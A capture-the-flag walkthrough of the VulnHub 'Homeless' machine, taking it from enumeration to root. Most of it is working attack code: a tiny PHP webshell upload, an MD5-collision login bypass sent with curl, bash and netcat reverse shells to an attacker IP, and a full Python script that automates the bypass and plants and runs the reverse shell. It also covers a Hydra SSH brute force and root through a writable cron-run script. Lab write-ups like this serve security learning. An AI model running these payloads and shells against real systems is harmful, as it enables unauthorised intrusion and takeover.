Introduction (Got from the vulnhub homeless page)
I’m really interesting about security, love to learn new technologies and play CTF sometime. I’ve been enjoying creating hacking challenges for the security community. This is my first Challenge of boot2root, I was created some web challenge and solved others. I hope you will get some knowledges about my challenge. Thanks u Laiwon . I love you.
Difficulty
Difficulty level to get limited shell: Intermediate or advanced
Difficulty level for privilege escalation: Depend on You.
Goal
You will be required to break into target server,exploit and root the machine, and retrieve the flag. The flag will contain more information about my private info..
Hints
This challenge is not for beginners. There is a relevant file on this machine that plays an important role in the challenge, do not waste your time trying to de-obfuscate the file, If you got big stuck, Try with Password start with “sec*” with nice wordlist. Ok.. Try Harder!..
Diagram
graph TD
A[Enumeration] -->|Nmap| B(Port 80)
B --> |User-Agent| C[cyberdog]
C --> |myuploader_priv| D[8 bytes payload]
D --> |Login Portal| E[md5 collision]
E --> |Bypassed| F[Cmd Injection]
F --> |Reverse Shell| G[Python Script]
G --> |Hydra| H[downfall]
H --> |cron| I[root]
I --> |Dump web folder| J[Code Analysis]
Enumeration
Let’s get the box ip with arp-scan
1
arp-scan -I eth1 192.168.56.100/24
First step is to enumerate the box. For this we’ll use nmap
1
nmap -sV -sC -Pn 192.168.56.157 -p-
-sV - Services running on the ports
-sC - Run some standart scripts
-Pn - Consider the host alive
Port 80
We try to open it on the browser
Just a normal page
The only page we can do something interesting as input data is the contact tab
Gobuster
Let’s start crafting a little more on the box to see if we can enum more things do explore. I use zip, because I know that possible we will need to get the source code from anywhere.
1
gobuster dir -t 100 -u http://192.168.56.157 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,zip
User-Agent
That’s weird, the user-agent is being printed on the page
Send to burpsuite and repeater. See that we can manipulate it
So we try to fuzz it with wfuzz
1
wfuzz -z file,list.txt --hw 651 -H "User-Agent: FUZZ" http://192.168.56.157/
We see that the user-agent cyberdog
shows a different page
myuploader_priv
And we found a place to upload files!
File is too large
The maxium I can send is this
We could try
1
<?=`$_GET[1]`?>
But which worked was
1
<?=`ls`;
And we get it working
We get the txt file
Login Portal
Now we have access to a new login portal
We click in Need a Hint
and download a php file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
session_start();
error_reporting(0);
if (@$_POST['username'] and @$_POST['password'] and @$_POST['code'])
{
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
$code = (string)$_POST['code'];
if (($username == $password ) or ($username == $code) or ($password == $code)) {
echo 'Your input can not be the same.';
} else if ((md5($username) === md5($password) ) and (md5($password) === md5($code)) ) {
$_SESSION["secret"] = '133720';
header('Location: admin.php');
exit();
} else {
echo "<pre> Invalid password </pre>";
}
}
?>
What we see here? We have tree fields to be filed. Username, password and code. They cannot be the same and they are md5 hashed. So what we need to find is three different words that will get the same md5 hash, a hash colision
Hash Colision
We found this respository which can help us
We clone locally
We execute it and generate a bunch of files with the same md5 hash
We will send then with curl, because it’s binary, and send over the burp, to see how the request in being formated
1
curl --data-urlencode username@./out_test_001.txt --data-urlencode password@./out_test_002.txt --data-urlencode code@./out_test_003.txt --data-urlencode "remember=1&login=Login" http://192.168.56.157/d5fa314e8577e3a7b8534a014b4dcb221de823ad/index.php -i --proxy 127.0.0.1:8080 -s
It’s a big request, but’s okay
And we see that we can get it, and get one cookie
And we get “logged in”
Reverse Shell
We have a way to execute commands on this box, but to get a reverse shell with nc was not possible because of the firewall configuration
We create a shell file on the file system
1
echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/192.168.56.153/448 0>&1' > /tmp/rev.sh
And get a reverse shell
Now let’s automate it!
Auto Reverse Shell
We will use our python skeleton
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3
import argparse
import requests
import sys
'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
args = parser.parse_args()
'''Here we call the functions'''
if __name__ == '__main__':
main()
Here it’s
auto_rev.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/python3
# Author: 0x4rt3mis
# Auto Reverse Shell - Homeless - VulnHub
import argparse
import requests
import sys
import urllib.parse
import socket, telnetlib
from threading import Thread
'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
# Set the handler
def handler(lport,target):
print("[+] Starting handler on %s [+]" %lport)
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0',lport))
s.listen(1)
conn, addr = s.accept()
print("[+] Connection from %s [+]" %target)
t.sock = conn
print("[+] Shell'd [+]")
t.interact()
# Function to bypass the authentication
def authBypass(rhost):
print("[+] Let's Bypass the Auth !! [+]")
url = "http://%s:80/d5fa314e8577e3a7b8534a014b4dcb221de823ad/index.php" %rhost
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = {"username" : "Hello%20world.%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%D4XA%3DM%0A%25%CF%01B7%BE%10%9FD%9A%18J%BB%E2%EC%E1%A7%F1%12r%3F~%2F%A6%94%D0%A4%E4%D0%ED%EC%AC%FD%0E%8FF%CBb%D1%7D%FD0y%7BT%11%94%0A%85XW%8CW%81%83%0E%3D%19s%0D%AE%80%C3j%A7%21%FE%14%3E%FB%3A%12RS%D7S%85D%3F%2B1z~%D7%DFK%5B%9CKAbT%C1%8E%86%A7r%16%DC%93%EBx%E2%06%F1%0C%8B%B5f%3F%B0%938%B0i~%D9%CCw%19%12%F4More%20text%3A%200%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%D5%A7n%09lh%247%D4%F6%DB%A1W%B7%EC%F9%B7%C5j%CD%09%1F%0C%1C%02%CE%80%E1%EF%C3%1B%06%40%A9%CE%EAS%E5%A7%9A%EF%23l%DC%D2%C5%5E%B3%B3%0Cw%AD%BC%04%9D-yd%F0Z%DC%FF%B1%F4N6%B0%8C%D5%B5%9E%A2%C7%88%88%E8c%01%CCO%BC%FD%04O%2A%FE%80Z%C9%DB%F2%C0%D5ay%B2%81i%9F%C2%19%3F%8E%D7%C5U%BC%CF%97%B2V%82%0E%B1%A3%073%CD%06%25%1F%99%C8%97H%A7%D0vMore%20text%3A%201%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%E3_%7D%22%221%5BC%B9%AE%8C%B7%8A%C4%9DM%81%E8%AE%C2%8D%AC%80%DFQ%E6A%A5%B96%0F%E2%FA%B3%B9%01%F2%0D%AA%14k0g%F9%BE%21M%FD%7F%A2u1%E7%0E%26%9B6%A4%3Ce%0F%93%CE%A5%03%BEO%06%CDkN%27D%A6%02%8A%99C%96%8D%1D%93%8C%A6%90%AC4%ED%28i%9F%E5%D0%CB%01%8D%99%80~%DF%876u%A5%0A4%19%B2%83%9C%12%7D%F3T0%17%8A%D4%23k%9B%E8%60%D1%3F%F7%FB%B4More%20text%3A%202%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%CE%5E%22%DB%DB%0C%8C%FDa%BA%8B%B3%2A%E5%91%5EP%0AY%F8%8Df%F6%8B%06%929i%B0%B0%AA%07%09%E1%B5%18R%CE%D7%F4o%E0g%3A2%CAMk%25%9B%1C%DEp05%9A%15%B4%B7c%DAA%7D2%11%9A%1C%04%27%03.%F4%E2s%BC%C8%16h%B55%9F%F3Fz%DFxi%1F%7C%C9%8B%CF%5B%5DEA%ED%B6%C4%8Dv%EA%8B%3E%DC%97k%11%D0%B7%FBD%18%BE%87%3F%03%F0%F6%83%10%F7%C5%ED%27%E4%C1jMore%20text%3A%203%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20fQ%A99%0D%FE%AB%03%FDx%8E%C8g%C4%CD%15%5D%F2-%23Dt%CF%9AC%CEz%A93%0C%08%19%3E%FD%F9%C8L.h%05%E7%C7h%1A%DE%09%7B%95%E7%F0k%BF%B0%EA%8C%C2%BE%F5vMc%FC1g%23%DE%0D%AFQ%86%E0%0D%01O%19%D8%CA%EBK%AC%C1%8CAn%DF%27%7F%2Bn%2B%8C%DBK%A0%A5A%26%B8%ACn%84%0C%83%F7%5D%96oqpY~%1Fuu%BE%ED%8C%92%3F%BD%1E3%04u%CD%EBE%ACMore%20text%3A%204%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20j%3D%BD%DE%D6%93%B3C%7DK%8A%7CL6%CF%0E%DF%5B%5D%14Y%3A%E4%A2C%D6%3A5%D0%05%12%CD%BB%C3%FA%ED%E0L%D9xk%CE%B9%F9%E1%B3%F8ax%E3J%047%C8m%94%E1%81%24y%25bW%BD%0E%D6%8D%B8%97c%D9%A1%0D%0D%AC%88%BB%3DEo4_%40%83%0FfF%2A%CBZ%FE%CA%EC%07%E2%EF%8E%C4%C6%19%06W%08%0FzOi%CF%A9%AC%09o%28%1C%A6%B4%B83%2Ah%BF%60%BA%04%23.%25%1EMore%20text%3A%205%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%85aE%EDT%A1%C6t%874t%875%607%13%B0q%1C%B0%289%15%90D%D28bR%0E%A0%F13%FE%FF%D1%CC%B0%DF%EF%8B%02%D9a%11%FA%ED3S%12Ja%20%EBL%1E%F0%A9%A5%9C%8C%DB%17%03%D1%08%11%09%01X%3C%5D%3B%E1%0B%B5M3%A2Y%A8%8A%81g%23%3D%01%5E%E1%3B%15%CD%D4pY%B2%BF%87%17%D7g%06%9F%20%5BQ%AC%CFM%9Eg%C6%82P%B5%FBm3%D0%EDH%AF%83%93%1Ci%C1%01More%20text%3A%206%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%F4%C5j%F5%12C%2Fa%8BZ%B6%8E8%F8%C6%3C%ED%10%F9_M%EDt%C07n%81%B1%B5%A1%BC%BA%D6%FB%FD%E9%CC%5E%7B%F2%0FDur%9F76%14%A7%11C%AB%25%26%5E%01%A9%E8%2F%28%FD%A6%8Ah%5C%C6%CD%40%CA%9CQ%F3%A9%19%C9%40%5BM%5D%13%BC%5C%87%97%27%06%1E%E7%CBZ%F6M%ECG%DEmpK%9E%9B%04%18%E7%03%B8j87%B8%A8F%EE%20%90R%80%F28%20%81%E9%DDP%A7iR%D9%DCMore%20text%3A%207%0A%0AFinal." , "password" : "Hello%20world.%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%D4XA%3DM%0A%25%CF%01B7%BE%10%9FD%9A%18J%BB%E2%EC%E1%A7%F1%12r%3F~%2F%A6%94%D0%A4%E4%D0%ED%EC%AC%FD%0E%8FF%CBb%D1%7D%FD0y%7BT%11%94%0A%85XW%8CW%81%83%0E%3D%19s%0D%AE%80%C3j%A7%21%FE%14%3E%FB%3A%12RS%D7S%85D%3F%2B1z~%D7%DFK%5B%9CKAbT%C1%8E%86%A7r%16%DC%93%EBx%E2%06%F1%0C%8B%B5f%3F%B0%938%B0i~%D9%CCw%19%12%F4More%20text%3A%200%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%D5%A7n%09lh%247%D4%F6%DB%A1W%B7%EC%F9%B7%C5j%CD%09%1F%0C%1C%02%CE%80%E1%EF%C3%1B%06%40%A9%CE%EAS%E5%A7%9A%EF%23l%DC%D2%C5%5E%B3%B3%0Cw%AD%BC%04%9D-yd%F0Z%DC%FF%B1%F4N6%B0%8C%D5%B5%9E%A2%C7%88%88%E8c%01%CCO%BC%FD%04O%2A%FE%80Z%C9%DB%F2%C0%D5ay%B2%81i%9F%C2%19%3F%8E%D7%C5U%BC%CF%97%B2V%82%0E%B1%A3%073%CD%06%25%1F%99%C8%97H%A7%D0vMore%20text%3A%201%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%E3_%7D%22%221%5BC%B9%AE%8C%B7%8A%C4%9DM%81%E8%AE%C2%8D%AC%80%DFQ%E6A%A5%B96%0F%E2%FA%B3%B9%01%F2%0D%AA%14k0g%F9%BE%21M%FD%7F%A2u1%E7%0E%26%9B6%A4%3Ce%0F%93%CE%A5%03%BEO%06%CDkN%27D%A6%02%8A%99C%96%8D%1D%93%8C%A6%90%AC4%ED%28i%9F%E5%D0%CB%01%8D%99%80~%DF%876u%A5%0A4%19%B2%83%9C%12%7D%F3T0%17%8A%D4%23k%9B%E8%60%D1%3F%F7%FB%B4More%20text%3A%202%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%CE%5E%22%DB%DB%0C%8C%FDa%BA%8B%B3%2A%E5%91%5EP%0AY%F8%8Df%F6%8B%06%929i%B0%B0%AA%07%09%E1%B5%18R%CE%D7%F4o%E0g%3A2%CAMk%25%9B%1C%DEp05%9A%15%B4%B7c%DAA%7D2%11%9A%1C%04%27%03.%F4%E2s%BC%C8%16h%B55%9F%F3Fz%DFxi%1F%7C%C9%8B%CF%5B%5DEA%ED%B6%C4%8Dv%EA%8B%3E%DC%97k%11%D0%B7%FBD%18%BE%87%3F%03%F0%F6%83%10%F7%C5%ED%27%E4%C1jMore%20text%3A%203%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20fQ%A99%0D%FE%AB%03%FDx%8E%C8g%C4%CD%15%5D%F2-%23Dt%CF%9AC%CEz%A93%0C%08%19%3E%FD%F9%C8L.h%05%E7%C7h%1A%DE%09%7B%95%E7%F0k%BF%B0%EA%8C%C2%BE%F5vMc%FC1g%23%DE%0D%AFQ%86%E0%0D%01O%19%D8%CA%EBK%AC%C1%8CAn%DF%27%7F%2Bn%2B%8C%DBK%A0%A5A%26%B8%ACn%84%0C%83%F7%5D%96oqpY~%1Fuu%BE%ED%8C%92%3F%BD%1E3%04u%CD%EBE%ACMore%20text%3A%204%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20j%3D%BD%DE%D6%93%B3C%7DK%8A%7CL6%CF%0E%DF%5B%5D%14Y%3A%E4%A2C%D6%3A5%D0%05%12%CD%BB%C3%FA%ED%E0L%D9xk%CE%B9%F9%E1%B3%F8ax%E3J%047%C8m%94%E1%81%24y%25bW%BD%0E%D6%8D%B8%97c%D9%A1%0D%0D%AC%88%BB%3DEo4_%40%83%0FfF%2A%CBZ%FE%CA%EC%07%E2%EF%8E%C4%C6%19%06W%08%0FzOi%CF%A9%AC%09o%28%1C%A6%B4%B83%2Ah%BF%60%BA%04%23.%25%1EMore%20text%3A%205%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%85aE%EDT%A1%C6t%874t%875%607%13%B0q%1C0%289%15%90D%D28bR%0E%A0%F13%FE%FF%D1%CC%B0%DF%EF%8B%02%D9a%11z%EE3S%12Ja%20%EBL%1E%F0%A9%A5%1C%8C%DB%17%03%D1%08%11%09%01X%3C%5D%3B%E1%0B%B5M3%A2Y%A8%8A%81%E7%23%3D%01%5E%E1%3B%15%CD%D4pY%B2%BF%87%17%D7g%06%9F%20%5BQ%AC%CFM%1Eg%C6%82P%B5%FBm3%D0%EDH%AF%83%13%1Ci%C1%01More%20text%3A%206%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%F4%C5j%F5%12C%2Fa%8BZ%B6%8E8%F8%C6%3C%ED%10%F9%DFM%EDt%C07n%81%B1%B5%A1%BC%BA%D6%FB%FD%E9%CC%5E%7B%F2%0FDur%9F%B75%14%A7%11C%AB%25%26%5E%01%A9%E8%2F%A8%FD%A6%8Ah%5C%C6%CD%40%CA%9CQ%F3%A9%19%C9%40%5BM%5D%13%BC%5C%87%17%27%06%1E%E7%CBZ%F6M%ECG%DEmpK%9E%9B%04%18%E7%03%B8j87%B8%28G%EE%20%90R%80%F28%20%81%E9%DDP%27iR%D9%DCMore%20text%3A%207%0A%0AFinal." , "code" : "Hello%20world.%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%D4XA%3DM%0A%25%CF%01B7%BE%10%9FD%9A%18J%BB%E2%EC%E1%A7%F1%12r%3F~%2F%A6%94%D0%A4%E4%D0%ED%EC%AC%FD%0E%8FF%CBb%D1%7D%FD0y%7BT%11%94%0A%85XW%8CW%81%83%0E%3D%19s%0D%AE%80%C3j%A7%21%FE%14%3E%FB%3A%12RS%D7S%85D%3F%2B1z~%D7%DFK%5B%9CKAbT%C1%8E%86%A7r%16%DC%93%EBx%E2%06%F1%0C%8B%B5f%3F%B0%938%B0i~%D9%CCw%19%12%F4More%20text%3A%200%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%D5%A7n%09lh%247%D4%F6%DB%A1W%B7%EC%F9%B7%C5j%CD%09%1F%0C%1C%02%CE%80%E1%EF%C3%1B%06%40%A9%CE%EAS%E5%A7%9A%EF%23l%DC%D2%C5%5E%B3%B3%0Cw%AD%BC%04%9D-yd%F0Z%DC%FF%B1%F4N6%B0%8C%D5%B5%9E%A2%C7%88%88%E8c%01%CCO%BC%FD%04O%2A%FE%80Z%C9%DB%F2%C0%D5ay%B2%81i%9F%C2%19%3F%8E%D7%C5U%BC%CF%97%B2V%82%0E%B1%A3%073%CD%06%25%1F%99%C8%97H%A7%D0vMore%20text%3A%201%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%E3_%7D%22%221%5BC%B9%AE%8C%B7%8A%C4%9DM%81%E8%AE%C2%8D%AC%80%DFQ%E6A%A5%B96%0F%E2%FA%B3%B9%01%F2%0D%AA%14k0g%F9%BE%21M%FD%7F%A2u1%E7%0E%26%9B6%A4%3Ce%0F%93%CE%A5%03%BEO%06%CDkN%27D%A6%02%8A%99C%96%8D%1D%93%8C%A6%90%AC4%ED%28i%9F%E5%D0%CB%01%8D%99%80~%DF%876u%A5%0A4%19%B2%83%9C%12%7D%F3T0%17%8A%D4%23k%9B%E8%60%D1%3F%F7%FB%B4More%20text%3A%202%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%CE%5E%22%DB%DB%0C%8C%FDa%BA%8B%B3%2A%E5%91%5EP%0AY%F8%8Df%F6%8B%06%929i%B0%B0%AA%07%09%E1%B5%18R%CE%D7%F4o%E0g%3A2%CAMk%25%9B%1C%DEp05%9A%15%B4%B7c%DAA%7D2%11%9A%1C%04%27%03.%F4%E2s%BC%C8%16h%B55%9F%F3Fz%DFxi%1F%7C%C9%8B%CF%5B%5DEA%ED%B6%C4%8Dv%EA%8B%3E%DC%97k%11%D0%B7%FBD%18%BE%87%3F%03%F0%F6%83%10%F7%C5%ED%27%E4%C1jMore%20text%3A%203%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20fQ%A99%0D%FE%AB%03%FDx%8E%C8g%C4%CD%15%5D%F2-%23Dt%CF%9AC%CEz%A93%0C%08%19%3E%FD%F9%C8L.h%05%E7%C7h%1A%DE%09%7B%95%E7%F0k%BF%B0%EA%8C%C2%BE%F5vMc%FC1g%23%DE%0D%AFQ%86%E0%0D%01O%19%D8%CA%EBK%AC%C1%8CAn%DF%27%7F%2Bn%2B%8C%DBK%A0%A5A%26%B8%ACn%84%0C%83%F7%5D%96oqpY~%1Fuu%BE%ED%8C%92%3F%BD%1E3%04u%CD%EBE%ACMore%20text%3A%204%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20j%3D%BD%DE%D6%93%B3C%7DK%8A%7CL6%CF%0E%DF%5B%5D%14Y%3A%E4%A2C%D6%3A5%D0%05%12%CD%BB%C3%FA%ED%E0L%D9xk%CE%B9%F9%E1%B3%F8ax%E3J%047%C8m%94%E1%81%24y%25bW%BD%0E%D6%8D%B8%97c%D9%A1%0D%0D%AC%88%BB%3DEo4_%40%83%0FfF%2A%CBZ%FE%CA%EC%07%E2%EF%8E%C4%C6%19%06W%08%0FzOi%CF%A9%AC%09o%28%1C%A6%B4%B83%2Ah%BF%60%BA%04%23.%25%1EMore%20text%3A%205%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%85aE%EDT%A1%C6t%874t%875%607%13%B0q%1C0%289%15%90D%D28bR%0E%A0%F13%FE%FF%D1%CC%B0%DF%EF%8B%02%D9a%11z%EE3S%12Ja%20%EBL%1E%F0%A9%A5%1C%8C%DB%17%03%D1%08%11%09%01X%3C%5D%3B%E1%0B%B5M3%A2Y%A8%8A%81%E7%23%3D%01%5E%E1%3B%15%CD%D4pY%B2%BF%87%17%D7g%06%9F%20%5BQ%AC%CFM%1Eg%C6%82P%B5%FBm3%D0%EDH%AF%83%13%1Ci%C1%01More%20text%3A%206%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%F4%C5j%F5%12C%2Fa%8BZ%B6%8E8%F8%C6%3C%ED%10%F9_M%EDt%C07n%81%B1%B5%A1%BC%BA%D6%FB%FD%E9%CC%5E%7B%F2%0FDur%9F76%14%A7%11C%AB%25%26%5E%01%A9%E8%2F%28%FD%A6%8Ah%5C%C6%CD%40%CA%9CQ%F3%A9%19%C9%40%5BM%5D%13%BC%5C%87%97%27%06%1E%E7%CBZ%F6M%ECG%DEmpK%9E%9B%04%18%E7%03%B8j87%B8%A8F%EE%20%90R%80%F28%20%81%E9%DDP%A7iR%D9%DCMore%20text%3A%207%0A%0AFinal." , "remember" : "1%26login%3DLogin"}
payload_str = urllib.parse.urlencode(data, safe="%", encoding=None)
r.post(url, headers=headers, data=payload_str, proxies=proxies)
print("[+] Logged In ! [+]")
# Just get the reverse shell
def getReverse(rhost,lhost,lport):
print("[+] Let's Get Reverse Shell ! [+]")
url = "http://%s:80/d5fa314e8577e3a7b8534a014b4dcb221de823ad/admin.php" %rhost
headers = {"Content-Type": "application/x-www-form-urlencoded"}
# Plant the malicous shell file
data = {"command": "echo '#!/bin/bash\\n\\nbash -i >& /dev/tcp/%s/%s 0>&1' > /tmp/rev.sh" %(lhost,lport), "submit": "Submit Query"}
r.post(url, headers=headers, cookies=r.cookies, data=data)
# Execute it!
data = {"command": "bash /tmp/rev.sh", "submit": "Submit Query"}
r.post(url, headers=headers, cookies=r.cookies, data=data)
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
parser.add_argument('-li', '--localip', help='Local IP', required=True)
parser.add_argument('-lp', '--localport', help='Local Port', required=True)
args = parser.parse_args()
rhost = args.target
lhost = args.localip
lport = args.localport
'''Here we call the functions'''
# Set up the handler
thr = Thread(target=handler,args=(int(lport),rhost))
thr.start()
# Bypass the auth
authBypass(rhost)
# Plant and execute the reverse shell
getReverse(rhost,lhost,lport)
if __name__ == '__main__':
main()
www-data -> Downfall
We need to become downfall now
Remember a phrase from the box author:
1
"If you got big stuck, Try with Password start with "sec*"
So, we create a wordlist based on rockyou with all words starting with sec
1
cat /usr/share/wordlists/rockyou.txt | grep ^sec > wordlist.txt
Now we use hydra to bruteforce the password
1
hydra -l downfall -P wordlist.txt ssh://192.168.56.157 -t 20
And we found the password! secretlyinlove
So, we ssh in the box
downfall -> Root
Now, let’s become root
I saw that this user is able to edit /lib/logs/homeless.py
. On top of that, there’s a cron job running in the context of root every minute, executing:
We just add in the top of that a reverse python shell
1
2
#!/usr/bin/env python
os.system("/bin/nc 192.168.56.153 444 -e /bin/bash")
And after one minute, we got a reverse root shell
Code Analysis
Let’s dump the /var/www/html folder to make a simple code analysis on this box
1
zip -r web.zip html/
1
2
python -m SimpleHTTPServer 8000
wget 192.168.56.157:8000/web.zip
We unzip ip
1
unzip web.zip
Let’s see how the upload are working
myuploader_priv/index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if($_SERVER['REQUEST_METHOD'] === "POST" && @$_POST['submit']){
$filename = $_FILES["upme"]["name"];
$des = 'files/' . basename($_FILES["upme"]["name"]);
$filesize = $_FILES['upme']['size'];
if($filesize > 8){
echo "Your file is too large";
}else{
system("find files ! -name '887beed152a3e8f946857bade267bb19d159ef59.txt' ! -name 'index.php' -type f -exec rm -f {} +");
if(move_uploaded_file($_FILES['upme']['tmp_name'], $des)){
echo "File uploaded. Find the secret file on server .. files/".$filename;
}
}
}
?>
We can see here what is happening on the file system. It test the filesize of the uploaded file, it must be in the max 8 bytes. That’s why we cannot put a file with more than eight bytes. And them delete all the files in the files folder, keeping just the two above.
Now the admin panel, it’s the same we see earlier, so, don’t need to explain here
The command panel just execute the cmd we pass as post request
We see on the index.php of the main page how it triggers the cyberdog user agent